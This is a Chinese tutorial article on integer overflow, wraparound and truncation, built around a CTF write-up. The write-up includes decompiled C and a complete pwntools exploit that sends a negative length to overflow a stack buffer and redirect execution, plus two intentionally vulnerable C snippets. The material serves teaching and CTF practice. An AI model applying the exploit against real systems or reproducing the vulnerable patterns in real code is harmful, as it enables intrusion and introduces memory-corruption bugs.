资讯专栏INFORMATION COLUMN

整数溢出

calx / 3156人阅读

摘要:比如说,在上,如果,则,这时只分配了字节的内存区域,然后在里面写入大量的数据,缓冲区溢出也就发生了。如果攻击者提供的两个字符串总长度无法用表示,则会发生截断,从而导致后面的缓冲区溢出。

什么是整数溢出

由于整数在内存里保存在一个固定长度的空间内,它能存储的最大值和最小值是固定的,如果我们尝试去存储一个数,而这个数又大于这个固定的最大值时,就会导致整数溢出

整数溢出的危害

如果一个整数用来计算一些敏感数值,如缓冲区大小或数值索引,就会产生潜在的危险。通常情况下,整数溢出并没有改写额外的内存,不会直接导致任意代码执行,但是它会导致栈溢出和堆溢出,而后两者都会导致任意代码执行。由于整数溢出出现之后,很难被立即察觉,比较难用一个有效的方法去判断是否出现或者可能出现整数溢出。

整数溢出

关于整数的异常情况主要有三种:

  • 溢出

    • 只有有符号数才会发生溢出。有符号数最高位表示符号,在两正或两负相加时,有可能改变符号位的值,产生溢出
    • 溢出标志OF可检测有符号数的溢出
  • 回绕

    • 无符号数0-1时会变成最大的数,如1字节的无符号数会变为255,而255+1会变成最小数0.f
    • 进位标志CF可检测无符号数的回绕
  • 截断

    • 将一个较大宽度的数存入一个宽度小的操作数中,高位发生截断

常见题型

  • 整数转换
  • 回绕和溢出
  • 截断

整数转换 -- newbugku一道整数溢出题目f4n_pwn

main函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+Ch] [ebp-1Ch]
  unsigned int buf; // [esp+10h] [ebp-18h]
  int v6; // [esp+14h] [ebp-14h]
  int fd; // [esp+18h] [ebp-10h]
  int i; // [esp+1Ch] [ebp-Ch]

  setvbuf(stdout, 0, 2, 0);
  puts("###### Welecome to ctf game ######
input your name length : ");
  read_name();
  puts("let"s begin guess num game ");
  fd = open("/dev/urandom", 0);
  if ( fd < 0 || read(fd, &buf, 4u) < 0 )
  {
    puts("error");
    exit(0);
  }
  close(fd);
  srand(buf);
  for ( i = 0; i <= 9; ++i )
  {
    v6 = rand() % 9 + 3;
    printf("Round %d , please guess the num : 
", i);
    fflush(stdout);
    fflush(stdin);
    __isoc99_scanf("%d", &v4);
    if ( v4 != v6 )
    {
      printf("you fail");
      exit(0);
    }
  }
  printf("u are great! this is your flag");
  getflag();
  return 0;
}

猜测随机数可得flag,hhh

漏洞函数read_name()

int read_name()
{
  char s[80]; // [esp+8h] [ebp-60h]
  unsigned int v2; // [esp+58h] [ebp-10h]
  unsigned int i; // [esp+5Ch] [ebp-Ch]

  memset(s, 0, 0x50u);
  __isoc99_scanf("%ld", &v2);
  if ( (signed int)v2 > 48 )
  {
    puts("too long!!! u are a hacker!!!");
    exit(0);
  }
  puts("please tell me your name : ");
  fflush(stdout);
  fflush(stdin);
  for ( i = 0; i < v2; ++i )
  {
    read(0, &s[i], 1u);
    if ( s[i] == 10 )
    {
      s[i] = 0;
      return printf("helllo %s
", s);
    }
  }
  return printf("helllo %s
", s);
}

看到这里想到利用数组s覆盖返回地址,控制程序跳转到getflag()函数

利用过程

  1. 控制v2足够大,利用有符号数向无符号数的转换
  2. 覆盖栈空间时,控制i的值
  3. 覆盖返回地址getflag
from pwn import *

p = remote("114.116.54.89",10011)


p.recvuntil("input your name length : 
")
p.sendline("-1")

payload = "a"*(0x60-0xc) + "c" + p32(0x080486BB)

p.recvuntil("please tell me your name : 
")
p.sendline(payload)
p.interactive()

回绕和溢出

void vulnerable() {
    size_t len;
    // int len;
    char* buf;
    len = read_int_from_network();
    buf = malloc(len + 5);
    read(fd, buf, len);
    ...
}

这个例子看似避开了缓冲区溢出的问题,但是如果 len 过大, len+5 有可能发生回绕。比如说,在 x86-32 上,如果 len = 0xFFFFFFFF ,则 len+5 = 0x00000004 ,这时 malloc() 只分配了 4 字节的内存区域,然后在里面写入大量的数据,缓冲区溢出也就发生了。(如果将 len 声明为有符号 int 类型, len+5 可能发生溢出)

截断

void main(int argc, char *argv[]) {
    unsigned short int total;
    total = strlen(argv[1]) + strlen(argv[2]) + 1;
    char *buf = (char *)malloc(total);
    strcpy(buf, argv[1]);
    strcat(buf, argv[2]);
    ...
}

这个例子接受两个字符串类型的参数并计算它们的总长度,程序分配足够的内存来存储拼接后的字符串。首先将第一个字符串参数复制到缓冲区中,然后将第二个参数连接到尾部。如果攻击者提供的两个字符串总长度无法用 total 表示,则会发生截断,从而导致后面的缓冲区溢出。

参考

ctf-all-in-one

文章版权归作者所有,未经允许请勿转载,若此文章存在违规行为,您可以联系管理员删除。

转载请注明本文地址:https://www.ucloud.cn/yun/7426.html

相关文章

  • [Leetcode] Reverse Integer 反转整数

    摘要:字符串法复杂度时间空间思路先将数字转化为字符串,然后将字符串倒序输出,并转回数字。模十法复杂度时间空间思路通过对数字模十取余得到它的最低位。除了检查溢出返回特定值以外,有没有别的方法处理溢出可以使用代码块排除异常。 Reverse Integer Reverse digits of an integer.Example1: x = 123, return 321Example2: x ...

    ad6623 评论0 收藏0
  • Redis Bitmaps

    摘要:在对字符串进行扩展时,命令会根据字符串目前已有的最远端二进制位,计算出执行操作所需的最小长度。支持的子命令以及数字类型以下是命令支持的子命令返回指定的二进制位范围。 Bitmaps 简介 在计算机中,所有的数据在存储和运算时都要使用二进制数表示(因为计算机用高电平和低电平分别表示1和0),例如,象a、b、c、d这样的 52 个字母(包括大写)、以及 0、1 等数字还有一些常用的符号(例...

    leoperfect 评论0 收藏0
  • 『安全漏洞』Windows 云同步引擎API整数溢出漏洞

    摘要:它提供对云同步引擎的支持并处理创建和管理占位符文件和目录之类的任务。在这种情况下,文件本身驻留在云端,而在你的本地文件系统上,该文件的表示称为占位符。当你访问占位符文件时,通过同步使关联的云文件显示出来。最后,设置参数以通过请求占位符更新。 ...

    liujs 评论0 收藏0
  • ES6学习笔记5-编程风格、二进制数组和SIMD

    摘要:二进制数组由三类对象组成对象视图和视图。目前,视图一共包括种类型,每一种视图都是一种构造函数。位浮点数,长度个字节这个构造函数生成的数组,统称为视图。 编程风格 块级作用域 let 取代 var,在let和const之间,建议优先使用const,尤其是在全局环境,不应该设置变量,只应设置常量。 字符串 静态字符串一律使用单引号或反引号,不使用双引号。动态字符串使用反引号。 // goo...

    kumfo 评论0 收藏0
  • Java 中的类型、值和变量 之 基本类型

    摘要:在中存在两种类型基本类型和引用类型。值得注意的是,基本类型的值的状态不会被共享。浮点类型和它们的值中的浮点类型遵循标准的定义。布尔类型和它们的值类型表示两个逻辑量,和。 众所周知,Java是一门静态类型的语言,这意味着所有的变量和表达式的类型会在编译时确定。同时,Java 还是一门强类型的语言,因此变量的值或表达式的结果的类型都会受到限制(比如一个声明为 String 的变量不的值不可...

    beita 评论0 收藏0

发表评论

0条评论

calx

|高级讲师

TA的文章

阅读更多
最新活动
阅读需要支付1元查看
<